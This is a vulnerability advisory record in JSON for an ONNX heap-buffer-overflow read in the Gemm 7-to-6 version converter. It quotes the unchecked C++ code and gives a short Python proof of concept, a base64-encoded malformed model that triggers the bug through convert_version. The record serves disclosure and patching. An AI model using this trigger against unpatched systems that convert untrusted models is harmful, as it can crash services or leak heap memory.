{"id":"PYSEC-2026-3587","summary":"ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape","details":"### Summary\n\nHeap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.\n\n### Details\n\nThe Gemm 7→6 downgrade adapter reads input shapes without bounds checking:\n```cpp\n// gemm_7_6.h:26-42\nconst auto& A_shape = inputs[0]-\u003esizes();  // May have \u003c 2 elements\nconst auto& B_shape = inputs[1]-\u003esizes();  // May have \u003c 2 elements\n\nif (node-\u003ehasAttribute(ktransB) && node-\u003ei(ktransB) == 1) {\n    MN.emplace_back(B_shape[0]);   // OOB if B has 0 dims\n} else {\n    MN.emplace_back(B_shape[1]);   // OOB if B has \u003c 2 dims ← CRASH\n}\n```\n\nThe PoC has input B with shape `[28]` (1 dimension). `B_shape` has 1 element. Accessing `B_shape[1]` reads 16 bytes past the `std::vector\u003cDimension\u003e` internal storage into adjacent heap memory.\n\nThe same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36.\n\n**Entry point:** `onnx.version_converter.convert_version(model, 6)` — different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7→6).\n\n### PoC\n```python\nimport base64\nimport onnx\nfrom onnx import version_converter\n\npoc_b64 = \"CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH\"\n\nmodel = onnx.load_from_string(base64.b64decode(poc_b64))\n\n# Triggers heap-buffer-overflow in Gemm_7_6 adapter\nversion_converter.convert_version(model, 6)\n```\n\n186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`.\n\n### Impact\n\nAny application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.","aliases":["CVE-2026-63632","GHSA-p893-rvq9-2xf9"],"modified":"2026-08-04T14:30:27.716013637Z","published":"2026-08-04T11:34:41.860642Z","references":[{"type":"WEB","url":"https://github.com/onnx/onnx/security/advisories/GHSA-p893-rvq9-2xf9"},{"type":"WEB","url":"https://github.com/onnx/onnx/pull/7880"},{"type":"WEB","url":"https://github.com/onnx/onnx/commit/e9c74f596eaa0250f89e52a54160a25bbcb25b66"},{"type":"PACKAGE","url":"https://github.com/onnx/onnx"},{"type":"WEB","url":"https://github.com/onnx/onnx/releases/tag/v1.22.0"},{"type":"PACKAGE","url":"https://pypi.org/project/onnx"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p893-rvq9-2xf9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63632"}],"affected":[{"package":{"name":"onnx","ecosystem":"PyPI","purl":"pkg:pypi/onnx"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0"},{"fixed":"1.22.0"}]}],"versions":["1.10.0","1.10.1","1.10.2","1.11.0","1.12.0","1.13.0","1.13.1","1.14.0","1.14.1","1.15.0","1.16.0","1.16.1","1.16.2","1.17.0","1.18.0","1.19.0","1.19.1","1.19.1rc1","1.20.0","1.20.0rc1","1.20.0rc2","1.20.1","1.20.1rc1","1.21.0","1.21.0rc1","1.21.0rc2","1.21.0rc3","1.21.0rc4","1.22.0rc1","1.22.0rc2","1.3.0","1.4.0","1.4.1","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/onnx/PYSEC-2026-3587.yaml"}}],"schema_version":"1.8.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L"}]}